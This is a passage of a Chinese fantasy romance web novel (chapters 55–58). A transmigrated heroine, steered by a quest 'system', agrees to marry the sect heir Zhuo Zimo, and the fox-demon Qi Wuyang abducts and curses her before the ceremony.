那边系统发出尖锐爆鸣∶“宿主在说什么?不和他见面还怎么完成攻略?” “可他也是活生生的人呀,总不能因为我的一己私利,就平白无故把人家的家庭给搅和了吧?” 卓子墨看着她,忽然笑了∶“阿禾怕不是忘了,那一日我也在场。” 她微微一愣,不明所以地歪了歪脑袋。 “是我弟弟有错在先,还差点害死了你。况且我知道,祁无恙后来做的一切都和你无关。”他放缓语调,温声道∶“好了,往后我不想再听见‘不会再和我见面’这样的话。” 对了,那一天他也在,还是兔子形态的他救了自己。 徐颂禾这时脑子已经差不多恢复了清醒,她扯回刚才的话题∶“你是怎么把我带回来的?祁无恙他有伤害你吗?” “阿禾不必担心,我没有受伤,”卓子墨笑了笑,道∶“那日你和他走后,我着实放心不下,于是命人偷偷跟着。没成想那妖孽诡计多端,竟将派出去的数名弟子一并困在迷阵中,我循着他们留下的踪迹一路跟来,幸好因此得以碰见晕倒在树丛中的你。” 徐颂禾问道∶“所以……从一开始,你就知道那只狐狸就是祁无恙了,对吗?” 卓子墨顿了顿,他一开始的确是选择相信她,相信那只是一只野狐狸的,但即便后来发现她对自己撒了谎,也并不埋怨——妖孽素来擅长蛊惑人心,阿禾又心思单纯,一时受了欺骗也不足为奇。 见他不答,徐颂禾便也没有追问,只是胸口处仍有隐隐的闷痛感,她皱皱眉,捂住心脏揉了几下。 他立刻俯身∶“阿禾,可是哪里不适?” “也没有,就是有些疼……” 卓子墨垂眼看过来,脸色一沉,道∶“是那该死的家伙下的咒,他竟狠得下心。不过阿禾放心,此咒不会威胁性命,你且好好歇息,我去为你熬些药。” “哎,不用麻烦了……” 徐颂禾伸手想阻止他,可对方一拂袖,转眼间便已走出了门。 她只好端坐在床榻上,问道∶“系统,你说我只要和他成婚,就能完成攻略任务回家,是不是真的?” 系统立马回答∶“当然!卓子墨现在对宿主的好感度已经达到九十啦,他最期望的就是能和宿主成婚,只要满足这一点,好感度保证能满值。” 徐颂禾深吸口气,这事听起来简单,做起来可一点也不。 不是她想怎样就能怎样的,卓氏父子现在大概都对她深恶痛疾,怎么可能同意这门婚事? 哎……这抓马的剧情,只怕离回家还得有好些日子了。 她开始庆幸自己认错了攻略对象,否则的话,像祁无恙这样的人恐怕根本就不会喜欢上别人,过了这么久,对她的好感度估计还是负数吧。 * 月光被厚厚的云层揉碎,零星漏进林子里。林间空地上,木屋歪斜地站着,那扇窗户向外打开,被风吹得吱呀作响。 少年踩过地上的枯枝烂叶,在木屋前停下。他伸手推开虚掩的木门,凉意扑面而来。 他目无波澜地注视着空荡荡的屋子,目光一下便落到地板上那条白色手链上。 窗户下方的泥土地上,有些一深一浅的痕迹,他俯身捻起数粒沙子,放在指尖碾碎了。 她不是最怕死吗?敢从那么高的地方跳下去,就为了躲避他?他难道比死还可怕? 祁无恙目光沉沉地望过去,视线尽头,他甚至能依稀幻想出,少女是如何拖着扭伤了的脚一步一步逃离的。 可她为什么要逃? “人呢?你还在等什么……” 扁平脸怒气沉沉地走来,然而,还未等将一句话说完,整个人倏地被一股力道吸引过去,紧接着脖颈一紧,已几乎无法呼吸。 少年纤长的五指缓缓收紧,他微微眯起一双眸子,眼瞳纤细如针∶“知道她在哪吗?” 扁平脸的双脚在空中徒劳地蹬踹,整张脸因缺氧而涨成紫红色。他当然无法回答,只能惊恐地望着眼前面无表情的少年。 窗框上那抹暗红的血迹是那样刺眼,像根针似的扎进他心里。 祁无恙轻笑一声,眼底杀意翻涌∶“三日之内,我若找不到她,就只能你去献祭了。” 第55章 她要成婚了 勉强在流云宗度过了还算太平的一日, 到了夜里,徐颂禾双手托着腮,站在窗边看月亮。 屋门被轻叩了两声, 她立马去打开门, 却和一大捧花撞了个满怀, 四溢的香气一时间盈满了她的呼吸。 她不觉往后退了一步,诧异地看着来人∶“卓公子,你……你这是……” “阿禾, 我……” 卓子墨停顿片刻, 在她惊讶的目光下走进屋来, 微笑道∶“我看这屋里太闷,有了这盆花, 或许能让你不那么无聊。” 他说罢,没等她回答, 便将花盆轻轻放在窗边的矮几上,恰好与月光成了邻。 徐颂禾微微一愣, 刚要开口,他忽地又回过头来看着自己, 眼里含着温润的笑意∶“阿禾不必如此见外, 我还是更喜欢你唤我小白。” “那是兔子时候的名字了,”她小声嘟囔了句,随后转移话题∶“不过你怎么来啦?你爹爹知道了岂不是又要朝你发火?” 她隐隐有种不好的猜测, 急道∶“你不会真的答应了他, 让出少主之位吧?你可别这样, 我……我还不起的。” 她的确想快点完成任务回家,可也不能让人家白白牺牲这么多,毕竟自己早晚都是要走的。 卓子墨闻言稍作沉默, 旋即淡淡道∶“这是我和他之间的事,阿禾不必为此感到愧疚。” “我只是觉得,你没有必要为了我而顶撞你爹爹,”徐颂禾跟过去,问出了她一直好奇的问题∶“你为什么会喜欢我呀?是因为我帮你解除了咒术吗?其实你不用这样的,就当我做了件好事就好了……” “阿禾,你为何会这么想?” 他蓦地出声打断了剩下的话,她停下不说了,抬眼愣愣地看着他。 卓子墨沉下脸,往前欺近一步,将她逼至桌沿∶“如果我只是为了报恩,大可给你一大笔钱财,从此以后两不相见,我爹也不会像今日这般待我。可我依然希望你留下,依然想……想一直同你在一起,盼着能护你周全,难道你还不能明白我的心意吗?” “我不是,我……” 没想到他会突然这样,徐颂禾被眼下这个姿势弄得有些难受,她勉强抽出一只手来,将他推远了些,这才道∶“所以,你也觉得是我的到来让你和他生了矛盾?” 卓子墨微微一怔,意识到自己方才那一番话不妥——本是想让她安心,却不料又说错了话,急忙解释道∶“阿禾,我不是那个意思……” “好啦,我也不是什么玩具,你想我来我就来,想我走就走,”徐颂禾挥挥手打断他,视线又落到那捧花上,“你上回说,只要我有危险,你都会出手相救,是真的吗?” 他没有一丝犹豫∶“自然,不管你想要什么,只要我办得到,我都会答应你。” 她扯住他的衣袖,看向他的目光里带着恳求∶“我不想要什么,但你也知道,祁无恙他对我下了咒,想要杀我。我……我没有地方可去,只能来找你了,你能不能尽量护我不死?” 瞧着她的眼神,卓子墨只觉心脏让人狠狠攥住,怒意更甚∶“我自然不会让你出事,若那妖孽敢来,我……阿禾,你怎么了?” 徐颂禾忽然觉得脑袋一沉,一股刺痛如电流般窜过四肢百骸,疼得她再也站立不稳,身子瞬间软下去,捂着手半跪在床榻上。 “我不知道……我好疼t,为什么突然会这么疼……” 她实在忍受不住那疼痛,眼前、耳边的一切都变得模糊,只能感觉到有一只手慌乱地从自己背上抚过。 “阿禾,得罪了。” 还没等她想明白这话的意思,肩膀忽地一痛,她便彻底失去了意识。 * 天蒙蒙亮,一层薄雾笼罩在头顶,镇上的人逐渐多了起来。 几个身着白袍的人行色匆匆地在小巷间穿梭,他们所经过的地方,墙面上皆留下一张张布告。 人们见状纷纷涌上前围观,有人认出那是流云宗的弟子,便大声道∶“喂小子,听说你们那什么少主要成婚了,是不是真的?” 那弟子扫了底下一眼,道∶“这么多嘴干什么?这儿写的明明白白,你是不识字还是怎么回事?” 他转身一走,便仿佛彻底拔掉了堵塞人群的塞头,人们一下子全围了上去,挤在布告前踮脚张望。 前排的人仰着脖子,大声将布告上的字念了出来∶“流云宗大少主卓子墨,不日将与徐氏姑娘成婚。” 此言一出,人群立刻躁动起来,有人满腹狐疑地道∶“不是传闻这大少主天赋卓越,一心只扑在修炼上,一生都不会娶妻生子的吗?这消息不会是假的吧?” 一个略显尖锐的声音在人群中响起∶“假的?你们看看那布告右下角盖的是什么?那可是流云宗的宗主金印!谁敢拿这个开玩笑?” 众人寂静了片刻,随即小声议论起来,都道或许是这大少主突然开了窍也说不准。 便在此时,又有人出声反驳道∶“这‘徐氏姑娘’又是哪位?咱们流云镇上可没有姓徐的,不过我倒是听说这位卓少主不仅才气过人,相貌也极为出众,已经数不清拒了多少姑娘的示好了,今日这么一出,该不会是根本没有这么个人,只为了让其他少女死心的吧?” 这话立马引得一阵唏嘘,一人叹道∶“还是这位兄弟的话靠谱,就算有哪位姑娘入得了卓少主的法眼,那也得过得去他们宗主那一关才行。依我看,这事恐怕只是个噱头罢了,都是假的,大家散了吧!” 又是一阵议论过后,众人也都不再相信那布告的合理性,纷纷散了开来。 巷口恢复了些许宁静,方才默默伫立在最后方的少年逆着人流上前,孤零零停留在那墨迹未干的布告前。 那上面像是歪歪扭扭爬满了数只蚂蚁,映入眼帘的只有三个字——“徐颂禾”。 他只认得这三个字。 不过其它的,方才已经听见了。 这三个字像是活过来一般,在他眼前反复跳跃、放大,最后幻出少女身穿嫁衣,笑容灿烂的模样。 正值晌午,阳光更为热烈,却无法驱散他四肢百骸陡然升起的寒意。 ……成婚? 他低低重复了一遍,指尖跃动的火苗映得眼底一片通红,字纸顷刻间蜷曲成灰,簌簌散落。 可这满大街都是,不管人们信或是不信,大红的喜庆都已经在整个流云镇遍布开来,他烧不完的。 酒楼上,那群烦人的家伙聒噪的声音又飘荡下来∶“你们可别不信,听说这徐姑娘无依无靠,连个亲人都没有,但我们少主还是为她准备了堆成山的聘礼,看来是动了真格咯!” “小兄弟,你是流云宗的弟子,我信你。你且说说,这婚事何时开始?” 那流云宗的弟子让人围着,好不神气,一挥扇子,眉飞色舞地道∶“我们少主可等不及了,求了宗主一夜,我猜……就在今晚!” 说到激动处,蓦地听见“砰”的一声响,整张酒桌被硬生生从中间劈开,酒水洒了一地。那弟子眼疾手快地往旁一躲,怒目扫向身后∶“何人竟敢偷袭!” 被这突如其来的声响吓到的人们也纷纷回头,可背后除了其余酒楼的客人外,再无别的可疑之人。 旁边的人看热闹不嫌事大,说道∶“小兄弟,既然今天是个大喜的日子,就别计较这点小事了。” 那弟子虽有满腔愤怒,却也不便在现下挑事,只得咽下一口气,黑着脸坐了回去。 * 眼前逐渐恢复清明,身上那股仿佛要将魂魄抽离的剧痛也随之消失了,徐颂禾掀开沉重的眼皮,便对上了那焦灼的目光。 卓子墨声音里带着颤抖∶“阿禾,你终于醒了。” 她撑起身子,揉了揉额头,茫然地扫视周遭∶“我睡过去了?等一下,为什么……” 为什么卓不凡那两人也在? 察觉到她略带不安的视线,卓子墨倾身挡在她眼前,微笑着安抚∶“你没事便好,他们不会伤害你的,不必害怕。” 不会伤害她? 徐颂禾狐疑地扫过他们,卓不凡现在看她的眼神竟好像真的温和了许多,不像之前那样,一见面就恨不得要把她掐死。 “若不是这逆子口口声声说要跟着你去死,我……” 一旁卓子寻拽了他一下,清嗓子道∶“爹,既然她醒了,兄长也不会做出寻思之事,不如我们先走。” 她一脸懵地看着卓不凡被半拖半拽地带离,好半晌才回过神来,神色复杂地看向面前的人∶“你……你真的说了……” “我不这样,只怕他们永远也不会松口,”卓子墨望着她的眼睛,苦涩一笑∶“阿禾,还有一事……还未来得及告诉你。” 还有什么比这更让人头疼的吗? 他顿了一下,避开她的视线,嗫嚅道∶“我……” 徐颂禾追着他的视线,着急地催促∶“你快说呀,是什么事?” 该不会是她已经病入膏肓命不久矣了,所以他们才突然对她和善了这么多吧? “我们要成婚了。” “哦,我还以为是什么……不对,”徐颂禾一下睁圆了眼,不可思议地瞧着他∶“你……你是说……” “昨夜你身上的咒突然发作,需得与人完成婚事才可解除,”卓子墨闭了闭眼,像是极为难以启齿,“不过阿禾放心,你若是不愿,待咒术一解,你我便不必再以夫妻相称……” 徐颂禾呆呆地看着他,全然没想到他会愿意为了自己这样。 心头一时百感交集,但更多的,还是对即将完成攻略的喜悦。 “没什么不愿的,”她弯了弯眼睛,在对方惊诧的目光下,小声说道∶“你待我这般,我已经想不到可以报答的办法了,你不是说喜欢我吗?那我们就在一起吧。” 第56章 “你从前说过只喜欢我”…… 屋外的风呼呼地吹过树梢, 一下下拍着窗户,却像击打在他心里。 卓子墨手指重重一抖,抬起头直望进少女那双亮晶晶的眼睛里∶“阿禾, 你方才是……是答应了吗?” “我没说过不答应呐, ”她歪头轻笑, 指尖轻轻拨弄着垂在肩上的发梢,“只是一切从简就好,不必费那么大周章, 聘礼也不需要。” 倒不是她绝情, 只是她对卓子墨实在没有男女之情, 这场婚事于她而言,更像是一场利己又利他的交易。更何况, 她早晚是要离开的,又何必在临走前让他投入那么多感情, 还是简简单单的好,这样一来, 也方便他忘掉自己。 卓子墨扬起的嘴角微微一滞,片刻后, 还是依着她道∶“好, 都听你的。” 他看上去心情格外的好,嘱咐了她在房内休息后,便满面春风地转身离去安排相关事宜, 脚步很是轻快。 房间里安安静静的, 徐颂禾朝着镜子里的自己看了许久, 突然产生了一种想要抱住里面的人亲一下的冲动。 感谢她自己从来都没有想过放弃,现在终于马上就能回家了。 什么恩怨纠葛,都让它一边待着去吧!反正她是书外人, 以后这里的所有人,所有事都和她没有关系了。 手心蓦地一阵刺痛,徐颂禾手抖了一下,梳子“啪”的一声掉在了梳妆台上。 她用力掐住手腕,可疼痛非但没有因为这一举动缓解,反而顺着手臂爬遍了全身,令她几乎喘不过气来。 是祁无恙对她下的咒又发作了吗? 她蜷缩在冰凉的板凳上,听着门外弟子们的低语和脚步声,那点朦胧的喜悦为她带来了些许安慰。 没关系的,卓子墨说了,这东西暂时不会要她的命,等今晚成完婚,一切都会好了。 剧痛一点点淡去,门外隐约传来一声询问∶“姑娘,少主命t我送些点心过来,说您今日还没用过膳。” 徐颂禾深吸口气,尽量让声音听起来平稳∶“谢谢你呀,只是我有些乏了,实在咽不下东西。” “那让我进来帮您梳妆吧。”门外的人坚持说道。 她拗不过,只好起身开了门,便见一蒙着面的少女站在门外。 女弟子弯着一双眼睛,颇为不好意思地抬手扶了扶面纱,声音从中透出来∶“这几日有些感冒,担心传染了姑娘。” 徐颂禾赶紧侧身让她进来,道∶“不用这么麻烦的,我自己来就可以……” 那女弟子动作倒是利落,执起梳子,沾点香水,唰唰几下就把一头黑发给梳顺了。 就是这香水的味道闻起来有些令人眩晕。 那人临走前,她一面对镜看着精致到有些奇怪的妆容,一面随口问道∶“你们少主呢?” 女弟子脚步一顿,忽地凑到她耳旁,神秘兮兮地道∶“我们宗主处理杂务去了,他还说,在天黑之前,姑娘都不许出这扇门。” 大婚当日还有这么多杂务需要处理?虽然说这事决定得太过匆忙,她自己也说了一切从简,但这是不是也太草率了点? 就好像……和平时没什么两样。 不过本来也就是为了回家了,徐颂禾收拾好心情,不知是不是方才那香水的缘故,此刻生出了几分困意,但又怕把刚梳好的头发弄乱,她便没敢躺下,只倚在窗边,数着时间,看向窗外蓝蓝的天空。 等得无聊,她便问道∶“系统,要是成婚后好感度还是不够,该怎么办?” 系统鼓励她∶“宿主别担心,根据现有数据分析,‘卓子墨求婚并得到应允’已是关键剧情节点,即便好感度没满,宿主也只需再等上两三日,就能顺利回家啦。” “……真的?” 徐颂禾对此表示存疑,毕竟这家伙实在不靠谱,从开始到现在就没给过她几个正确的提示。 又等了不知多久,窗外的天渐渐暗了下来,她自觉地拿起梳妆台上的红盖头,将它覆在了头顶。 那股隐隐作痛的感觉又来了,徐颂禾担心半路出岔子,将盖头掀起一角,蹙着眉望向门口,疑惑地自语道∶“时辰还没到吗?外面怎么这么安静了?” 也太反常了。 先前门外虽谈不上喧嚣,但总有人来人往的脚步声、低语声。可此刻,万籁俱寂,仿佛整个流云宗都陷入了沉睡,,一点喜庆的氛围都没有,只能听见树枝哗啦啦扫过窗户的声音。 心里蓦地没来由地紧张,她手臂上顿时起了一阵鸡皮疙瘩——该不会是出了什么事吧? 心头那点因即将回家而产生的雀跃,此刻被一种冰冷的不安迅速覆盖。无论如何都不能让攻略对象有事,几番思量后,徐颂禾毅然决然地站起身,正要把盖头扯下来,便听见屋门“吱呀”一声被人轻轻推开了。 屋内飘来一阵窸窣的脚步声,她顿了顿,放下按在盖头上的手,稍稍松了口气∶“你怎么才来呀?我都等了好久了。” 然而无人回答,她的视线被一片红色覆盖,只能透过底下的一点缝隙,隐隐看见一双黑色的鞋尖。 似乎他就只是站在那里瞧着她,却一句话也不说。 徐颂禾感到莫名其妙,问道∶“小白,你怎么了?是刚才……遇到什么麻烦了吗?” 依旧没有回应。 此刻的沉默甚至带了种压迫感,她仰起脸,按耐住想把盖头扯掉的冲动∶“你怎么不说话呀?我待了大半天的盖头,老难受了,快点完事了好让我把它摘下来吧。” 话音落下,盖头下的视野里,那双黑色的鞋尖终于动了动。 她打了个呵欠,见状赶紧露出一个笑脸,往前挪了挪,想去拉对方伸过来的手,可那只手却在碰到她的指尖之前蓦地换了方向,毫无征兆地将她头上的红盖头往上抬了抬。 盖头被极短暂地掀起一个小角,一袭红色的衣袍就这般猝不及防跳入眼帘。 那人轻轻笑了一声∶“这么丑的衣服,不如脱了。” 徐颂禾微微一怔,在她反应过来之前,一股不详之感伴随着似有若无的血腥味一同袭来。 她像是被烫到似的缩回手,攥住盖头一角,猛地将其扯下,视线刹那间彻底清明。 少年居高临下地睨着她,眼底噙着玩味,仿佛在欣赏落入网中的猎物。 徐颂禾觉得自己的心跳几乎要停止了。 “祁……你……” 他为什么要在这个时候过来? 不对,他是怎么来到这里的?他把卓子墨怎么样了吗? 回家的欲望胜过了一切,徐颂禾甚至来不及思考,也不知哪里来的勇气,怒瞪向他∶“你来这里做什么?你想杀我,抓我一个就好了,小白是无辜的!” 话音未落,她自己先打了个寒颤,恐惧这才后知后觉地漫了上来。 他要抓她,可不是只有“杀”这么简单了,什么抽筋剔骨,那是她能承受得了的吗?! 祁无恙唇边那抹玩味的笑意淡了下去。 “你很护着他?” 他来之前不知去了哪里,身上冷极了,朝她逼近时,那股冷冽的气息便混杂着血腥味,将她完全笼罩。 少年微微俯身,视线与她齐平,那双深不见底的黑眸似要将她吞没。 “那如果我杀了他,你会怎么样?” 徐颂禾身子重重一颤,震惊地望着他。 “你……你真的杀了他?” 他不答,也没有任何反应,一双眼眸静静凝视她,仿佛就算她现在朝他捅一刀,他也不会闪避。 这个人说到做到,谁知道他是不是真的把卓子墨给杀了? 要让她永远留在这个地方,还不如叫她去死。 徐颂禾紧咬着唇,抬手飞快地从头上拔下一支发簪,将它抵在了自己脖颈前。 她在少年略显错愕的目光下,颤着声道∶“那我就陪他一起死!反正他现在是我夫君,他死了,我也不能独活!” “你们拜过堂么?” 良久的沉默后,他低低笑了一声,眼底晦暗不明∶“你说他是就是?” 徐颂禾不知道他到底想干什么,也不愿多费口舌,只愤愤地道∶“我们两情相悦,这都是迟早的事。再说了,拜不拜堂和你有什么关系?” “你是决意要为他殉情了?” “我……” 这话倒令她微微一顿,对方眼里没什么情绪,徐颂禾注视着他,心里猜测着如果她给出肯定的回答,他会不会现在立刻就把她给杀了。 半晌,她咬咬牙,在他失去耐心前开了口,一字一句地说∶“对,你杀了他,我又打不过你,既然没法为他报仇,那就只能殉情了。” 在现实世界被车撞死不算,穿到了书里还要被反派弄死,合着这系统就是给她提供了多种尝试死亡的方式呗! “两情相悦?”祁无恙似乎现在才回味过来,眼里那丝残余的笑意褪得一干二净。他仿若没看见她手中那根带有“威胁”意味的簪子,蓦地欺身将她压至角落。 她惊愕抬眼,霎时间萌生出了要在他出手取自己性命之前就自尽的想法,但也只是一瞬间,手里的簪子便被轻而易举地夺了过去。 “你你……你要干嘛啊?” 冰冷的墙壁抵着后背,她就这样被困于方寸之地,退无可退,只能被迫抬起脸,惊恐地看着他。 “你方才的意思是,你喜欢他?” 然而他既没动手“成全”她刚刚一时冲说出的要殉情的话,也没把她抓去炼什么阵法,而是只问出了这么一句不明不白的话。 她微微一愣,全然不知该怎么回答,可这短暂的沉默,在他看来却成了默认。 “但你从前说过只喜欢我,”少年的目光剜过来,近乎要将她的心脏生生剖开,“背叛我之前,想过下场么?” 第57章 他有病 山顶之上, 处处飘着红绸,上山的路上也挤满了人,流云镇上的人都想瞧一瞧, 能将堂堂卓少主迷得神魂颠倒的究竟是何方神圣。 流云宗内, 更是张灯结彩, 宾客如云。酒肉的香气混着喧闹的人声,一路蔓延至山下去。弟子们穿梭其间,脸上的笑意一刻也没消失过。 自己那天赋卓绝的长子马上就要与旁人成婚, 从此以后他修炼的心思都会被那丫头分去不少, 卓不凡此刻心中仍是一百个不情愿, 但事已至此,也只得硬着头皮面对来宾的一声声“恭喜”。 “爹, 您别这么板着脸了,今日可是兄长大喜的日子, ”卓子寻不动声色地走到他身旁,径直伸手扯住他两边嘴角, 拉出一个弧度来,“对, 就是这样。婚宴t上宾客众多, 鱼龙混杂的,您可不能让其他门派觉得我们流云宗待客之礼有所欠缺啊。” 这话果然奏效,卓不凡一向好面子, 纵使再不满意这桩婚事, 闻言也不得不“嘿嘿”地强笑几声, 弓着腰一桌一桌地敬酒去了。 卓子墨一身婚服,伫立门后,将父亲的一举一动收尽眼底, 不由得会心一笑,只觉顿时卸下了一个重担。 卓不凡能舍弃从前那些想法,让自己今日得以同阿禾顺顺利利大婚,他便已是感激不尽,想到那日顶撞父亲所说的话,心中不免生出几分懊悔。 罢了,今日的时间自然都是要同阿禾在一起的,大不了……日后再和他好好道声歉。 一弟子行色匆匆而来,朝他行了一礼,低声道∶“公子,时辰已至,徐姑娘那边已准备妥当。” 卓子墨微笑颔首,待那弟子走后,他心中忽地涌上一丝极为复杂的心绪。 他到现在还是不敢相信,阿禾会这般轻易地答应自己,而他就这样不费一点周折地娶到了她。 或许就像……她也不能理解,为什么他会因为破解了区区一个咒术,就对她这样的死心塌地。 卓子墨长吁口气,又对着镜子摆了几遍笑脸后,这才迈着稍许紧张的步伐,一步步朝少女所在的屋舍走去。 他站定后,反复摩挲了几下手指,终于做好心理准备后,才轻轻叩响了屋门∶“阿禾,我……能否让我进去?” 身旁几个胆子大些的弟子见状纷纷笑起来,窃窃私语道∶“大少主果然还是没开窍,别人说的都是‘我来娶你’,但他怎么说的?” 卓子墨也知自己眼下的行为别扭得可笑,朝那几人瞥去一眼后,他们便立刻噤了声。 又叩了几下后,门里仍是静悄悄的,他心下生疑,于是等不到回答,便径自推开了门。 “你们不必进来,在此候着便好。” 自己来得太迟,不知她是不是因太困睡着了,卓子墨特意放缓了步子,轻声走进房内。 房中红烛燃得正好,妆台上胭脂水粉、珠钗首饰摆放整齐,那盆他昨夜送来的花也还在窗边,沐着月光,看起来有被她好好对待。 心头那点喜悦还未来得及扩散,他绕过屏风,看向床榻,透过被风掀开的帐幔,他清楚地看见那上面分明没有人。 “……阿禾?” 他视线扫过空无一人的每一处角落,心脏随之一点一点沉了下去。 霎时间,脑中闪过无数个猜测。 她还在流云宗吗?为什么要突然不告而别?她不是已经答应过了,要嫁给他的吗? 难道她不喜欢他吗?还是说……她的心里,还念着那个十恶不赦的妖孽? “来人。” 他低着嗓音唤出声,那声音几乎是从牙缝里蹦出来的。 门外候着的弟子立刻应声而入。 他扫向众人,脸上笑意全无∶“徐姑娘人呢?” 弟子们面面相觑,他们方才一直守在门前,也不见姑娘有过一句吩咐,更别提出门了,难道这人除了经过门口外,还有其他办法离开吗? 卓子墨脸色渐渐沉下去,便在此时,其中一弟子壮着胆子上前一步,道∶“回少主,我等的确没见过徐姑娘进出,只在方才有位蒙着面的师姐进去,说是奉少主之命为徐姑娘梳妆。” * 倒映在墙面上的烛火将二人影子拉得很长,再让窗外的风一吹,几乎要交叠到一起去。 背叛? 这两个字从他口中说出来,徐颂禾听得简直要气笑了,他凭什么说她背叛? “要说到背叛,还是你先想杀我的!你现在把我抓过来,不就是为了拿我去献祭,好炼成你的阵法吗?” 她不服气地瞪着他,刹那间所有积压的委屈、愤怒一齐涌上心头。 明明还差一点……还差一点她就可以回家了。 他为什么偏偏要在这个时候和她过不去?就算他不懂情爱,就算真的从始至终都对她没有一点真心,也没有必要这样赶尽杀绝吧?就非要她死不可吗? 祁无恙轻轻扯了下嘴角,全然未将她方才那一番话听进去。他目光扫过她身上的嫁衣,眼里闪过一丝憎恶,“谁准你和他成婚?” 徐颂禾挣扎了一下,试图推开他无果后,干脆放弃了抵抗,豁出去般仰头直视着他∶“是我自己要嫁的,需要谁准了?” 他盯着她看了几秒,忽然间松开了钳制,朝后退开几步,冷眼看着她捂住手心,被疼得弯下腰去。 “疼么?” 冷不丁冒出这么一句,徐颂禾抬起眼睛,额前一抹碎发都被冷汗浸湿了,“不疼你试试呀!” 怎么说她也跟了他那么久,没有功劳也有苦劳吧?这家伙现在就这么对她! 他压下心头烦躁,微微一笑∶“把你这身衣服脱了,我可以当什么都没有发生过。” “你能当,我可不能,”徐颂禾疼得站不起来,只好深吸口气,没有一点退缩地盯着他。余光瞥见桌上摆放着一柄小刀,她飞快地伸手将它握住,一副视死如归的模样∶“反正我是不会束手就擒的,我宁可现在就死,也不要被你抓去扒皮!” “是么?” 他像是听到了什么荒谬的话,俯身扼住她的下颌,从喉间溢出一声轻笑∶“倒也不必如此麻烦,你只需现在去找你的好夫君,用不了一日便会死。” 徐颂禾一怔,眼里瞬间凝聚起一丝迷惘∶“你……你什么意思?” 话音未落,她低下头,只见手心方才刺痛的地方竟隐隐浮现出几片花瓣的形状,幻出了一朵花的雏形。 “这才是我要送给你的,”他垂下眼睫,遮住眼底那一片阴鸷∶“我没骗你,它的确可以护你不死,但若是你生出异心,胆敢背叛我,它会让你生不如死。” “你……” 一时间所有的话都被堵在喉咙里,徐颂禾难以置信地看着他,想起了那条被自己丢掉的手链。 所以那只是一个外壳罢了,她根本摆脱不掉。 他敛起方才那副神色,夺过她手中那柄小刀放在手里把玩,“你说,给它取个什么名字好?” 徐颂禾回过神来,吸了吸鼻子,努力把眼泪憋回去∶“你是不是有病?我一心想着帮你找身体,希望你能长命,你就算不领情,也不用这样吧?” 他却好像只听见了前面那句,淡淡一笑∶“好啊,那就叫‘有病’。” “……” 她无言以对,觉得跟这样的人根本没法交流。待那阵疼痛过去后,她踉踉跄跄地站起来,后背抵着冰冷的墙壁,才勉强稳住发软的腿。 “你真的是有病。” 趁他不设防备,徐颂禾用尽全力推开他,转身便朝门口奔去。 屋门被猛地拉开,她即将迈出去的脚步一顿,旋即很快缩了回来,转头径直撞上少年带着一丝玩味的目光。 门外寸草丛生,黑漆漆的夜色几乎要将她吞没。 这里不是流云宗,这是哪里?她这一天下来明明一直待在屋里,他是怎么有机会把她带到这里来的? 她只好回过身,满眼警惕地看向他∶“你把我带到哪里来了?” “你一直想去的地方。” 他故意停顿片刻,随后漫不经心地勾起唇,在她困惑的目光下不紧不慢地说∶“是我的家。” 徐颂禾身形微微一僵,眼神里逐渐漫上几分诧异。 他的……家? 他之前是说过要带她回家,但那不是为了要让她放松警惕,故意说出来唬人的吗? 少年微微侧头,见她沉默着不说话,眸色霎时暗了下来∶“怎么,连这一句也是骗我的?” 徐颂禾眨了下眼,觉得这个人简直不可理喻∶“你说什么呀?明明是你要杀我在先,我迫不得已才这样的。你自己好好想想,我什么时候骗过你了?” 他眼中露出不解∶“我何时说过要杀你?” 徐颂禾毫不客气地回道∶“你当然不会当着我的面说,没想到吧,全都被我偷听到了。” 她故意拖长了“偷听”两字的语调,带着点小得意地抬起眼,期待看见他知道自己计划泄露后受挫的模样,可对方只嗤笑一声,冷冷道∶“我若是想杀你,你以为你还能逃得走,跑到这里来和他成婚么?” “你……什么意思?” 她眼睛里的烛光闪了闪,一个戒备的声音在脑海中回响——不行,不能相信他,谁知道这家伙下一步想干什么呢? “没什么意思,”祁无恙兀自走到椅旁坐下t,端起茶水轻抿了一口,淡淡道∶“我只是告诉你,乖乖待在我身边就不会死,你不蠢,应该能想明白怎么选,对么?” “我……” 话尚未出口,他忽地抬手掷出那枚茶盏,眼皮也不掀一下,屋门便应声关上,顺带落了一道锁。 第58章 背她回去 徐颂禾让这突如其来的声音吓了一跳, 赶紧往旁一让,这才没被门夹到。她回头看了看紧闭的房门,满眼的无语∶“祁无恙, 你到底要干嘛啊?” 孤男寡女的, 还把她锁在这破屋子里, 这家伙该不会是想占她便宜吧? 但这个念头只浮现了一瞬间,便被她给否认了——像他这样的人,怎么可能对旁人有什么非分之想, 把她关起来是因为她还有用处, 怕她逃跑吧? 他冷笑道∶“你不想着逃跑, 我也不至于如此。” 什么叫她想着逃跑?不跑难道坐着等死吗?这家伙怎么还说得理直气壮的,搞得好像她就应该一直乖乖跟着他。 徐颂禾尝试着拉了一下门栓, 发现毫无用处后,索性走到他身旁, 用手在桌上一拍,杯子里的茶水都被震出来了些许。 他微微挑眉, 不咸不淡地看了她一眼。 这种时候也没什么好怕的了,徐颂禾深吸口气, 忐忑地问∶“小白呢?你到底把他怎么样了?” 祁无恙拭去飞溅到衣袖上的茶渍, 淡淡开口∶“他怎么样都与你无关,即便成了婚也还能离,更何况你们还未拜堂。” 这话说得莫名其妙, 她顺口回怼∶“那也是迟早的事, 要不是横插一脚, 我们已经是……” “已经是什么?” 少年冷冷抬眼,目光自她脸上掠过,唇边扬起一抹恶劣的笑∶“你再敢叫一次那个称呼, 我就立刻让他……去死。” 徐颂禾立马不说话了,片刻后,又捕捉到了话里的一些字眼,试探地问∶“所以你的意思是,你没有伤害他,对不对?” 她正用曾经问他会不会死时那清澈的目光,小心翼翼地向他确认另一个男人的死活。 烛火在眼底跳了一下,他沉默地别过脸,没有再回话。 凭她的对他的了解,这就算是默认了。只要攻略对象没死,她就还有机会回家,徐颂禾心情顿时好了大半,连带着面前这个阴晴不定的家伙看上去都没那么可怕了。 最好能先稳住他,然后再想办法溜走。她于是顺着他说∶“好了好了,那我不提总行了吧?不过你真要把我关在这啊?这里只有一张床,我怎么睡呀?” 他一言不发地站起身,一扣响指,那门便又自动打开了。徐颂禾眼巴巴望着外面,对方蓦地又回过身,似笑非笑地看着她。 “我劝你不要想着跑回流云宗,”他仿佛一眼看穿了她的心思,冷笑一声∶“万一运气不好死在外面了,可没有人会替你收尸。” “我……” 她张了张口,还没能说出一句完整的话,他便已转过身,只留给她一道背影。 屋门再次落上锁,将外头的黑暗彻底隔绝。 徐颂禾朝着他刚才离开的方向盯了几秒,心里实在气不过,用力朝空气挥了两下手,却又不慎踢到墙角,疼得轻轻“嘶”了一声。 